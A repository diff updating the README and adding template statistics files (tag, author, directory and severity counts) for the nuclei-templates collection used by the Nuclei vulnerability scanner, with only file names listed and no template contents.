-│   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard.yaml
-│   ├── virtual-ema-detect.yaml
-│   ├── weave-scope-dashboard-detect.yaml
-│   ├── webeditors.yaml
-│   ├── workspace-one-uem.yaml
-│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
-├── payloads
-│   ├── CVE-2020-5776.csv
-│   └── CVE-2020-6287.xml
-├── security-misconfiguration
-│   ├── apache-tomcat-snoop.yaml
-│   ├── basic-cors.yaml
-│   ├── django-debug-detect.yaml
-│   ├── drupal-user-enum-ajax.yaml
-│   ├── drupal-user-enum-redirect.yaml
-│   ├── front-page-misconfig.yaml
-│   ├── jira-service-desk-signup.yaml
-│   ├── jira-unauthenticated-dashboards.yaml
-│   ├── jira-unauthenticated-popular-filters.yaml
-│   ├── jira-unauthenticated-projects.yaml
-│   ├── jira-unauthenticated-user-picker.yaml
-│   ├── jupyter-ipython-unauth.yaml
-│   ├── larvel-debug.yaml
-│   ├── manage-engine-ad-search.yaml
-│   ├── put-method-enabled.yaml
-│   ├── rack-mini-profiler.yaml
-│   ├── salesforce-aura-misconfig.yaml
-│   ├── sidekiq-dashboard.yaml
-│   ├── springboot-detect.yaml
-│   ├── unauthenticated-airflow.yaml
-│   ├── unauthenticated-jenkin-dashboard.yaml
-│   ├── wamp-xdebug-detect.yaml
-│   ├── wordpress-accessible-wpconfig.yaml
-│   └── zenphoto-installation-sensitive-info.yaml
-├── subdomain-takeover
-│   ├── detect-all-takeovers.yaml
-│   └── s3-subtakeover.yaml
-├── technologies
-│   ├── apache-detect.yaml
-│   ├── artica-web-proxy-detect.yaml
-│   ├── basic-auth-detection.yaml
-│   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
-│   ├── clockwork-php-page.yaml
-│   ├── couchdb-detect.yaml
-│   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
-│   ├── google-storage.yaml
-│   ├── graphql.yaml
-│   ├── home-assistant.yaml
-│   ├── jaspersoft-detect.yaml
-│   ├── jira-detect.yaml
-│   ├── kibana-detect.yaml
-│   ├── kong-detect.yaml
-│   ├── liferay-portal-detect.yaml
-│   ├── linkerd-badrule-detect.yaml
-│   ├── linkerd-ssrf-detect.yaml
-│   ├── lotus-domino-version.yaml
-│   ├── magmi-detect.yaml
-│   ├── netsweeper-webadmin-detect.yaml
-│   ├── nifi-detech.yaml
-│   ├── oidc-detect.yaml
-│   ├── pi-hole-detect.yaml
-│   ├── prometheus-exporter-detect.yaml
-│   ├── prometheus-exposed-panel.yaml
-│   ├── redmine-cli-detect.yaml
-│   ├── s3-detect.yaml
-│   ├── sap-netweaver-as-java-detect.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── shiro-detect.yaml
-│   ├── sql-server-reporting.yaml
-│   ├── tech-detect.yaml
-│   ├── terraform-detect.yaml
-│   ├── tomcat-detect.yaml
-│   ├── waf-detect.yaml
-│   ├── weblogic-detect.yaml
-│   └── werkzeug-debugger-detect.yaml
-├── tokens
-│   ├── amazon-mws-auth-token-value.yaml
-│   ├── aws-access-key-value.yaml
-│   ├── credentials-disclosure.yaml
-│   ├── fcm-server-key.yaml
-│   ├── google-api-key.yaml
-│   ├── http-username-password.yaml
-│   ├── mailchimp-api-key.yaml
-│   └── slack-access-token.yaml
-├── vulnerabilities
-│   ├── bullwark-momentum-series-directory-traversal.yaml
-│   ├── cached-aem-pages.yaml
-│   ├── couchdb-adminparty.yaml
-│   ├── crlf-injection.yaml
-│   ├── discourse-xss.yaml
-│   ├── eclipse-help-system-xss.yaml
-│   ├── git-config-nginxoffbyslash.yaml
-│   ├── ibm-infoprint-directory-traversal.yaml
-│   ├── microstrategy-ssrf.yaml
-│   ├── mida-eframework-xss.yaml
-│   ├── moodle-filter-jmol-lfi.yaml
-│   ├── moodle-filter-jmol-xss.yaml
-│   ├── nginx-module-vts-xss.yaml
-│   ├── nuuo-nvrmini2-rce.yaml
-│   ├── open-redirect.yaml
-│   ├── oracle-ebs-bispgraph-file-access.yaml
-│   ├── pdf-signer-ssti-to-rce.yaml
-│   ├── rce-shellshock-user-agent.yaml
-│   ├── rce-via-java-deserialization.yaml
-│   ├── rconfig-rce.yaml
-│   ├── sassy-social-share.yaml
-│   ├── sick-beard-xss.yaml
-│   ├── springboot-actuators-jolokia-xxe.yaml
-│   ├── springboot-h2-db-rce.yaml
-│   ├── symantec-messaging-gateway.yaml
-│   ├── symfony-debugmode.yaml
-│   ├── tikiwiki-reflected-xss.yaml
-│   ├── tomcat-manager-pathnormalization.yaml
-│   ├── twig-php-ssti.yaml
-│   ├── vmware-vcenter-lfi.yaml
-│   ├── vpms-auth-bypass.yaml
-│   ├── w3c-total-cache-ssrf.yaml
-│   ├── wems-manager-xss.yaml
-│   ├── wordpress-duplicator-path-traversal.yaml
-│   ├── wordpress-emails-verification-for-woocommerce.yaml
-│   ├── wordpress-social-metrics-tracker.yaml
-│   ├── wordpress-wordfence-xss.yaml
-│   ├── wordpress-wpcourses-info-disclosure.yaml
-│   └── zms-auth-bypass.yaml
-├── wordlists
-│   └── wp-plugins.txt
-└── workflows
-    ├── artica-web-proxy-workflow.yaml
-    ├── basic-auth-workflow.yaml
-    ├── bigip-workflow.yaml
-    ├── cisco-asa-workflow.yaml
-    ├── grafana-workflow.yaml
-    ├── jira-workflow.yaml
-    ├── liferay-workflow.yaml
-    ├── lotus-domino-workflow.yaml
-    ├── magmi-workflow.yaml
-    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-workflow.yaml
-    ├── rabbitmq-workflow.yaml
-    ├── sap-netweaver-workflow.yaml
-    ├── springboot-workflow.yaml
-    ├── vbulletin-workflow.yaml
-    └── wordpress-workflow.yaml
-```
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
 
-</details>
+----
 
-**16 directories, 383 files**.
+Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
+This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
+We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
 
-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
-------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+## Nuclei Templates overview
 
-Thanks again for your contribution and keeping the community vibrant. :heart:
+
+An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
+
+<table>
+<tr>
+<td> 
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |   624 | pikpikcu      |   243 | cves             |   631 | info     |   592 | http    |  1785 |
+| panel     |   222 | dhiyaneshdk   |   240 | vulnerabilities  |   281 | high     |   504 | file    |    46 |
+| xss       |   221 | pdteam        |   196 | exposed-panels   |   225 | medium   |   398 | network |    38 |
+| exposure  |   212 | daffainfo     |   160 | exposures        |   182 | critical |   230 | dns     |    11 |
+| wordpress |   203 | geeknik       |   149 | technologies     |   160 | low      |   161 |         |       |
+| lfi       |   203 | dwisiswant0   |   131 | misconfiguration |   125 |          |       |         |       |
+| rce       |   189 | gy741         |    71 | takeovers        |    71 |          |       |         |       |
+| cve2020   |   157 | madrobot      |    62 | default-logins   |    51 |          |       |         |       |
+| wp-plugin |   136 | princechaddha |    53 | file             |    46 |          |       |         |       |
+| cve2021   |   103 | pussycat0x    |    42 | workflows        |    35 |          |       |         |       |
+
+**146 directories, 1940 files**.
+
+</td>
+</tr>
+</table>
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
+We have also added a set of templates to help you understand how things work.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community.
+[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss?
+Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
+You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+
+Thanks again for your contribution and keeping this community vibrant. :heart:

TEMPLATES-STATS.json

@@ -0,0 +1 @@
+{"tags":[{"name":"cve","count":624},{"name":"panel","count":222},{"name":"xss","count":221},{"name":"exposure","count":212},{"name":"lfi","count":203},{"name":"wordpress","count":203},{"name":"rce","count":189},{"name":"cve2020","count":157},{"name":"wp-plugin","count":136},{"name":"tech","count":103},{"name":"cve2021","count":103},{"name":"config","count":93},{"name":"cve2019","count":88},{"name":"cve2018","count":78},{"name":"takeover","count":74},{"name":"","count":65},{"name":"apache","count":64},{"name":"token","count":64},{"name":"default-login","count":57},{"name":"iot","count":54},{"name":"cve2017","count":48},{"name":"file","count":46},{"name":"oob","count":45},{"name":"unauth","count":42},{"name":"network","count":38},{"name":"joomla","count":36},{"name":"sqli","count":36},{"name":"ssrf","count":32},{"name":"cve2016","count":32},{"name":"workflow","count":30},{"name":"oracle","count":30},{"name":"logs","count":30},{"name":"cve2010","count":28},{"name":"atlassian","count":27},{"name":"misc","count":27},{"name":"jira","count":27},{"name":"redirect","count":25},{"name":"listing","count":25},{"name":"generic","count":22},{"name":"aem","count":19},{"name":"cisco","count":19},{"name":"disclosure","count":18},{"name":"cve2015","count":18},{"name":"sap","count":18},{"name":"router","count":17},{"name":"auth-bypass","count":16},{"name":"springboot","count":16},{"name":"cve2014","count":15},{"name":"cve2012","count":14},{"name":"debug","count":14},{"name":"misconfig","count":13},{"name":"android","count":13},{"name":"struts","count":13},{"name":"fuzz","count":13},{"name":"cve2011","count":13},{"name":"weblogic","count":12},{"name":"dns","count":12},{"name":"dlink","count":12},{"name":"adobe","count":12},{"name":"jenkins","count":12},{"name":"devops","count":11},{"name":"php","count":11},{"name":"cve2013","count":11},{"name":"zoho","count":11},{"name":"magento","count":9},{"name":"xxe","count":9},{"name":"ftp","count":9},{"name":"ruijie","count":8},{"name":"login","count":8},{"name":"aws","count":8},{"name":"rails","count":8},{"name":"airflow","count":8},{"name":"cnvd","count":8},{"name":"scada","count":8},{"name":"gitlab","count":8},{"name":"cve2009","count":7},{"name":"backup","count":7},{"name":"nginx","count":7},{"name":"vmware","count":7},{"name":"cms","count":6},{"name":"google","count":6},{"name":"jetty","count":6},{"name":"api","count":6},{"name":"dell","count":6},{"name":"citrix","count":6},{"name":"files","count":6},{"name":"laravel","count":6},{"name":"netgear","count":6},{"name":"rconfig","count":6},{"name":"cve2008","count":6},{"name":"django","count":6},{"name":"solr","count":6},{"name":"coldfusion","count":6},{"name":"drupal","count":5},{"name":"phpmyadmin","count":5},{"name":"iis","count":5},{"name":"circarlife","count":5},{"name":"headless","count":5},{"name":"microsoft","count":5},{"name":"windows","count":5},{"name":"confluence","count":5},{"name":"docker","count":5},{"name":"lucee","count":5},{"name":"fileupload","count":5},{"name":"wp-theme","count":5},{"name":"ssti","count":5},{"name":"java","count":5},{"name":"ibm","count":5},{"name":"dedecms","count":5},{"name":"firmware","count":4},{"name":"webserver","count":4},{"name":"grafana","count":4},{"name":"thinkphp","count":4},{"name":"traversal","count":4},{"name":"jolokia","count":4},{"name":"crlf","count":4},{"name":"vpn","count":4},{"name":"deserialization","count":4},{"name":"hp","count":4},{"name":"moodle","count":4},{"name":"magmi","count":4},{"name":"asp","count":4},{"name":"tomcat","count":4},{"name":"solarwinds","count":4},{"name":"elastic","count":4},{"name":"zimbra","count":4},{"name":"thinkcmf","count":4},{"name":"artifactory","count":4},{"name":"hongdian","count":4},{"name":"samsung","count":4},{"name":"nodejs","count":4},{"name":"exchange","count":4},{"name":"buffalo","count":4},{"name":"itop","count":3},{"name":"mongodb","count":3},{"name":"nacos","count":3},{"name":"kevinlab","count":3},{"name":"log","count":3},{"name":"slack","count":3},{"name":"bypass","count":3},{"name":"printer","count":3},{"name":"intrusive","count":3},{"name":"httpd","count":3},{"name":"oa","count":3},{"name":"nexus","count":3},{"name":"zhiyuan","count":3},{"name":"backups","count":3},{"name":"terramaster","count":3},{"name":"lfr","count":3},{"name":"resin","count":3},{"name":"targa","count":3},{"name":"ebs","count":3},{"name":"kafka","count":3},{"name":"microstrategy","count":3},{"name":"ofbiz","count":3},{"name":"opensis","count":3},{"name":"r-seenet","count":3},{"name":"ssh","count":3},{"name":"bitrix","count":3},{"name":"openssh","count":3},{"name":"springcloud","count":3},{"name":"fpd","count":3},{"name":"wso2","count":3},{"name":"amazon","count":3},{"name":"symfony","count":3},{"name":"kubernetes","count":3},{"name":"zabbix","count":3},{"name":"fanruan","count":3},{"name":"git","count":3},{"name":"tikiwiki","count":3},{"name":"nosqli","count":3},{"name":"vbulletin","count":3},{"name":"caucho","count":3},{"name":"sharepoint","count":2},{"name":"Line truncated

TEMPLATES-STATS.md

@@ -0,0 +1,732 @@
+|        TAG         | COUNT |             AUTHOR             | COUNT |        DIRECTORY        | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|--------------------|-------|--------------------------------|-------|-------------------------|-------|----------|-------|---------|-------|
+| cve                |   624 | pikpikcu                       |   243 | cves                    |   631 | info     |   592 | http    |  1785 |
+| panel              |   222 | dhiyaneshdk                    |   240 | vulnerabilities         |   281 | high     |   504 | file    |    46 |
+| xss                |   221 | pdteam                         |   196 | exposed-panels          |   225 | medium   |   398 | network |    38 |
+| exposure           |   212 | daffainfo                      |   160 | exposures               |   182 | critical |   230 | dns     |    11 |
+| wordpress          |   203 | geeknik                        |   149 | technologies            |   160 | low      |   161 |         |       |
+| lfi                |   203 | dwisiswant0                    |   131 | misconfiguration        |   125 |          |       |         |       |
+| rce                |   189 | gy741                          |    71 | takeovers               |    71 |          |       |         |       |
+| cve2020            |   157 | madrobot                       |    62 | default-logins          |    51 |          |       |         |       |
+| wp-plugin          |   136 | princechaddha                  |    53 | file                    |    46 |          |       |         |       |
+| tech               |   103 | pussycat0x                     |    42 | workflows               |    35 |          |       |         |       |
+| cve2021            |   103 | gaurang                        |    42 | network                 |    29 |          |       |         |       |
+| config             |    93 | ice3man                        |    26 | miscellaneous           |    27 |          |       |         |       |
+| cve2019            |    88 | organiccrap                    |    24 | iot                     |    23 |          |       |         |       |
+| cve2018            |    78 | 0x_akoko                       |    23 | dns                     |    11 |          |       |         |       |
+| takeover           |    74 | philippedelteil                |    19 | fuzzing                 |     9 |          |       |         |       |
+|                    |    65 | sheikhrishad                   |    15 | cnvd                    |     9 |          |       |         |       |
+| token              |    64 | milo2012                       |    14 | headless                |     5 |          |       |         |       |
+| apache             |    64 | techbrunchfr                   |    13 | .pre-commit-config.yaml |     1 |          |       |         |       |
+| default-login      |    57 | pr3r00t                        |    13 |                         |       |          |       |         |       |
+| iot                |    54 | suman_kar                      |    12 |                         |       |          |       |         |       |
+| cve2017            |    48 | r3dg33k                        |    11 |                         |       |          |       |         |       |
+| file               |    46 | cyllective                     |    11 |                         |       |          |       |         |       |
+| oob                |    45 | righettod                      |    10 |                         |       |          |       |         |       |
+| unauth             |    42 | random_robbie                  |    10 |                         |       |          |       |         |       |
+| network            |    38 | hackergautam                   |     9 |                         |       |          |       |         |       |
+| joomla             |    36 | nadino                         |     9 |                         |       |          |       |         |       |
+| sqli               |    36 | wdahlenb                       |     9 |                         |       |          |       |         |       |
+| ssrf               |    32 | melbadry9                      |     9 |                         |       |          |       |         |       |
+| cve2016            |    32 | aashiq                         |     8 |                         |       |          |       |         |       |
+| oracle             |    30 | that_juan_                     |     8 |                         |       |          |       |         |       |
+| logs               |    30 | iamthefrogy                    |     8 |                         |       |          |       |         |       |
+| workflow           |    30 | harshbothra_                   |     7 |                         |       |          |       |         |       |
+| cve2010            |    28 | 0x240x23elu                    |     7 |                         |       |          |       |         |       |
+| misc               |    27 | dr_set                         |     7 |                         |       |          |       |         |       |
+| atlassian          |    27 | oppsec                         |     7 |                         |       |          |       |         |       |
+| jira               |    27 | techryptic (@tech)             |     7 |                         |       |          |       |         |       |
+| redirect           |    25 | kophjager007                   |     7 |                         |       |          |       |         |       |
+| listing            |    25 | randomstr1ng                   |     7 |                         |       |          |       |         |       |
+| generic            |    22 | emadshanab                     |     7 |                         |       |          |       |         |       |
+| cisco              |    19 | puzzlepeaches                  |     6 |                         |       |          |       |         |       |
+| aem                |    19 | __fazal                        |     6 |                         |       |          |       |         |       |
+| disclosure         |    18 | caspergn                       |     6 |                         |       |          |       |         |       |
+| sap                |    18 | panch0r3d                      |     5 |                         |       |          |       |         |       |
+| cve2015            |    18 | yanyun                         |     5 |                         |       |          |       |         |       |
+| router             |    17 | pentest_swissky                |     5 |                         |       |          |       |         |       |
+| auth-bypass        |    16 | rootxharsh                     |     5 |                         |       |          |       |         |       |
+| springboot         |    16 | meme-lord                      |     5 |                         |       |          |       |         |       |
+| cve2014            |    15 | ganofins                       |     5 |                         |       |          |       |         |       |
+| debug              |    14 | joanbono                       |     5 |                         |       |          |       |         |       |
+| cve2012            |    14 | iamnoooob                      |     5 |                         |       |          |       |         |       |
+| fuzz               |    13 | elsfa7110                      |     4 |                         |       |          |       |         |       |
+| misconfig          |    13 | e_schultze_                    |     4 |                         |       |          |       |         |       |
+| android            |    13 | nodauf                         |     4 |                         |       |          |       |         |       |
+| struts             |    13 | xelkomy                        |     4 |                         |       |          |       |         |       |
+| cve2011            |    13 | github.com/its0x08             |     4 |                         |       |          |       |         |       |
+| weblogic           |    12 | yash anand @yashanand155       |     3 |                         |       |          |       |         |       |
+| dlink              |    12 | binaryfigments                 |     3 |                         |       |          |       |         |       |
+| adobe              |    12 | jarijaas                       |     3 |                         |       |          |       |         |       |
+| jenkins            |    12 | emenalf                        |     3 |                         |       |          |       |         |       |
+| dns                |    12 | z3bd                           |     3 |                         |       |          |       |         |       |
+| devops             |    11 | dudez                          |     3 |                         |       |          |       |         |       |
+| cve2013            |    11 | incogbyte                      |     3 |                         |       |          |       |         |       |
+| zoho               |    11 | f1tz                           |     3 |                         |       |          |       |         |       |
+| php                |    11 | 0w4ys                          |     3 |                         |       |          |       |         |       |
+| xxe                |     9 | fyoorer                        |     3 |                         |       |          |       |         |       |
+| magento            |     9 | impramodsargar                 |     3 |                         |       |          |       |         |       |
+| ftp                |     9 | shifacyclewala                 |     3 |                         |       |          |       |         |       |
+| gitlab             |     8 | _generic_human_                |     3 |                         |       |          |       |         |       |
+| aws                |     8 | mavericknerd                   |     3 |                         |       |          |       |         |       |
+| cnvd               |     8 | thomas_from_offensity          |     3 |                         |       |          |       |         |       |
+| scada              |     8 | shine                          |     3 |                         |       |          |       |         |       |
+| login              |     8 | vsh00t                         |     3 |                         |       |          |       |         |       |
+| airflow            |     8 | tess                           |     3 |                         |       |          |       |         |       |
+| rails              |     8 | bing0o                         |     2 |                         |       |          |       |         |       |
+| ruijie             |     8 | parth                          |     2 |                         |       |          |       |         |       |
+| vmware             |     7 | random-robbie                  |     2 |                         |       |          |       |         |       |
+| nginx              |     7 | pxmme1337                      |     2 |                         |       |          |       |         |       |
+| backup             |     7 | swissky                        |     2 |                         |       |          |       |         |       |
+| cve2009            |     7 | mahendra purbia (mah3sec_)     |     2 |                         |       |          |       |         |       |
+| files              |     6 | 0xcrypto                       |     2 |                         |       |          |       |         |       |
+| google             |     6 | 0xrudra                        |     2 |                         |       |          |       |         |       |
+| solr               |     6 | moritz nentwig                 |     2 |                         |       |          |       |         |       |
+| api                |     6 | 0xelkomy                       |     2 |                         |       |          |       |         |       |
+| laravel            |     6 | ehsahil                        |     2 |                         |       |          |       |         |       |
+| cve2008            |     6 | koti2                          |     2 |                         |       |          |       |         |       |
+| dell               |     6 | gal nagli                      |     2 |                         |       |          |       |         |       |
+| coldfusion         |     6 | alifathi-h1                    |     2 |                         |       |          |       |         |       |
+| django             |     6 | mohammedsaneem                 |     2 |                         |       |          |       |         |       |
+| cms                |     6 | nkxxkn                         |     2 |                         |       |          |       |         |       |
+| netgear            |     6 | kiblyn11                       |     2 |                         |       |          |       |         |       |
+| jetty              |     6 | udit_thakkur                   |     2 |                         |       |          |       |         |       |
+| rconfig            |     6 | foulenzer                      |     2 |                         |       |          |       |         |       |
+| citrix             |     6 | arcc                           |     2 |                         |       |          |       |         |       |
+| confluence         |     5 | joeldeleep                     |     2 |                         |       |          |       |         |       |
+| headless           |     5 | 0xprial                        |     2 |                         |       |          |       |         |       |
+| circarlife         |     5 | bsysop                         |     2 |                         |       |          |       |         |       |
+| phpmyadmin         |     5 | amsda                          |     2 |                         |       |          |       |         |       |
+| iis                |     5 | bp0lr                          |     2 |                         |       |          |       |         |       |
+| ssti               |     5 | sushantkamble                  |     2 |                         |       |          |       |         |       |
+| dedecms            |     5 | vavkamil                       |     2 |                         |       |          |       |         |       |
+| microsoft          |     5 | manas_harsh                    |     2 |                         |       |          |       |         |       |
+| fileupload         |     5 | 0xsapra                        |     2 |                         |       |          |       |         |       |
+| windows            |     5 | lu4nx                          |     2 |                         |       |          |       |         |       |
+| java               |     5 | unstabl3                       |     2 |                         |       |          |       |         |       |
+| drupal             |     5 | w4cky_                         |     2 |                         |       |          |       |         |       |
+| ibm                |     5 | afaq                           |     2 |                         |       |          |       |         |       |
+| lucee              |     5 | zomsop82                       |     2 |                         |       |          |       |         |       |
+| wp-theme           |     5 | lotusdll                       |     2 |                         |       |          |       |         |       |
+| docker             |     5 | randomrobbie                   |     2 |                         |       |          |       |         |       |
+| vpn                |     4 | x1m_martijn                    |     2 |                         |       |          |       |         |       |
+| tomcat             |     4 | fabaff                         |     2 |                         |       |          |       |         |       |
+| moodle             |     4 | davidmckennirey                |     2 |                         |       |          |       |         |       |
+| thinkphp           |     4 | dheerajmadhukar                |     2 |                         |       |          |       |         |       |
+| exchange           |     4 | hahwul                         |     2 |                         |       |          |       |         |       |
+| solarwinds         |     4 | ree4pwn                        |     2 |                         |       |          |       |         |       |
+| deserialization    |     4 | hetroublemakr                  |     2 |                         |       |          |       |         |       |
+| jolokia            |     4 | gevakun                        |     2 |                         |       |          |       |         |       |
+| zimbra             |     4 | ooooooo_q                      |     1 |                         |       |          |       |         |       |
+| firmware           |     4 | wabafet                        |     1 |                         |       |          |       |         |       |
+| samsung            |     4 | pratik khalane                 |     1 |                         |       |          |       |         |       |
+| artifactory        |     4 | yashgoti                       |     1 |                         |       |          |       |         |       |
+| traversal          |     4 | alex                           |     1 |                         |       |          |       |         |       |
+| grafana            |     4 | bad5ect0r                      |     1 |                         |       |          |       |         |       |
+| nodejs             |     4 | regala_                        |     1 |                         |       |          |       |         |       |
+| hongdian           |     4 | streetofhackerr007 (rohit      |     1 |                         |       |          |       |         |       |
+|                    |       | soni)                          |       |                         |       |          |       |         |       |
+| hp                 |     4 | geraldino2                     |     1 |                         |       |          |       |         |       |
+| elastic            |     4 |                          52971 |     1 |                         |       |          |       |         |       |
+| crlf               |     4 | alph4byt3                      |     1 |                         |       |          |       |         |       |
+| thinkcmf           |     4 | ipanda                         |     1 |                         |       |          |       |         |       |
+| webserver          |     4 | mhdsamx                        |     1 |                         |       |          |       |         |       |
+| asp                |     4 | _darrenmartyn                  |     1 |                         |       |          |       |         |       |
+| buffalo            |     4 | whoever                        |     1 |                         |       |          |       |         |       |
+| magmi              |     4 | elder tao                      |     1 |                         |       |          |       |         |       |
+| itop               |     3 | bernardofsr                    |     1 |                         |       |          |       |         |       |
+| opensis            |     3 | sullo                          |     1 |                         |       |          |       |         |       |
+| kubernetes         |     3 | deena                          |     1 |                         |       |          |       |         |       |
+| httpd              |     3 | luskabol                       |     1 |                         |       |          |       |         |       |
+| kevinlab           |     3 | undefl0w                       |     1 |                         |       |          |       |         |       |
+| mongodb            |     3 | aresx                          |     1 |                         |       |          |       |         |       |
+| tikiwiki           |     3 | aaron_costello                 |     1 |                         |       |          |       |         |       |
+|                    |       | (@conspiracyproof)             |       |                         |       |          |       |         |       |
+| bitrix             |     3 | zandros0                       |     1 |                         |       |          |       |         |       |
+| openssh            |     3 | jeya seelan                    |     1 |                         |       |          |       |         |       |
+| lfr                |     3 | j3ssie/geraldino2              |     1 |                         |       |          |       |         |       |
+| slack              |     3 | nytr0gen                       |     1 |                         |       |          |       |         |       |
+| vbulletin          |     3 | schniggie                      |     1 |                         |       |          |       |         |       |
+| bypass             |     3 | elmahdi                        |     1 |                         |       |          |       |         |       |
+| backups            |     3 | retr0                          |     1 |                         |       |          |       |         |       |
+| oa                 |     3 | kareemse1im                    |     1 |                         |       |          |       |         |       |
+| caucho             |     3 | sickwell                       |     1 |                         |       |          |       |         |       |
+| ebs                |     3 | furkansenan                    |     1 |                         |       |          |       |         |       |
+| log                |     3 | rojanrijal                     |     1 |                         |       |          |       |         |       |
+| springcloud        |     3 | @dwisiswant0                   |     1 |                         |       |          |       |         |       |
+| kafka              |     3 | hakluke                        |     1 |                         |       |          |       |         |       |
+| ofbiz              |     3 | d0rkerdevil                    |     1 |                         |       |          |       |         |       |
+| wso2               |     3 | knassar702                     |     1 |                         |       |          |       |         |       |
+| amazon             |     3 | noamrathaus                    |     1 |                         |       |          |       |         |       |
+| ssh                |     3 | johnk3r                        |     1 |                         |       |          |       |         |       |
+| nacos              |     3 | kurohost                       |     1 |                         |       |          |       |         |       |
+| intrusive          |     3 | r3naissance                    |     1 |                         |       |          |       |         |       |
+| targa              |     3 | udyz                           |     1 |                         |       |          |       |         |       |
+| zhiyuan            |     3 | mubassirpatel                  |     1 |                         |       |          |       |         |       |
+| r-seenet           |     3 | luci                           |     1 |                         |       |          |       |         |       |
+| microstrategy      |     3 | notsoevilweasel                |     1 |                         |       |          |       |         |       |
+| git                |     3 | taielab                        |     1 |                         |       |          |       |         |       |
+| fpd                |     3 | tirtha_mandal                  |     1 |                         |       |          |       |         |       |
+| printer            |     3 | sy3omda                        |     1 |                         |       |          |       |         |       |
+| resin              |     3 | evolutionsec                   |     1 |                         |       |          |       |         |       |
+| nosqli             |     3 | un-fmunozs                     |     1 |                         |       |          |       |         |       |
+| zabbix             |     3 | mass0ma                        |     1 |                         |       |          |       |         |       |
+| nexus              |     3 | dogasantos                     |     1 |                         |       |          |       |         |       |
+| symfony            |     3 | sicksec                        |     1 |                         |       |          |       |         |       |
+| fanruan            |     3 | juicypotato1                   |     1 |                         |       |          |       |         |       |
+| terramaster        |     3 | manuelbua                      |     1 |                         |       |          |       |         |       |
+| jellyfin           |     2 | absshax                        |     1 |                         |       |          |       |         |       |
+| hjtcloud           |     2 | ratnadip gajbhiye              |     1 |                         |       |          |       |         |       |
+| cache              |     2 | hanlaomo                       |     1 |                         |       |          |       |         |       |
+| openam             |     2 | vzamanillo                     |     1 |                         |       |          |       |         |       |
+| dolibarr           |     2 | 0xteles                        |     1 |                         |       |          |       |         |       |
+| pega               |     2 | huowuzhao                      |     1 |                         |       |          |       |         |       |
+| xxljob             |     2 | its0x08                        |     1 |                         |       |          |       |         |       |
+| rockmongo          |     2 | shreyapohekar                  |     1 |                         |       |          |       |         |       |
+| jboss              |     2 | fmunozs                        |     1 |                         |       |          |       |         |       |
+| idrac              |     2 | micha3lb3n                     |     1 |                         |       |          |       |         |       |
+| chiyu              |     2 | b0yd                           |     1 |                         |       |          |       |         |       |
+| ecology            |     2 | bolli95                        |     1 |                         |       |          |       |         |       |
+| globalprotect      |     2 | willd96                        |     1 |                         |       |          |       |         |       |
+| oauth              |     2 | remonsec                       |     1 |                         |       |          |       |         |       |
+| maian              |     2 | revblock                       |     1 |                         |       |          |       |         |       |
+| fortios            |     2 | daviey                         |     1 |                         |       |          |       |         |       |
+| trixbox            |     2 | kba@sogeti_esec                |     1 |                         |       |          |       |         |       |
+| igs                |     2 | ringo                          |     1 |                         |       |          |       |         |       |
+| telerik            |     2 | soyelmago                      |     1 |                         |       |          |       |         |       |
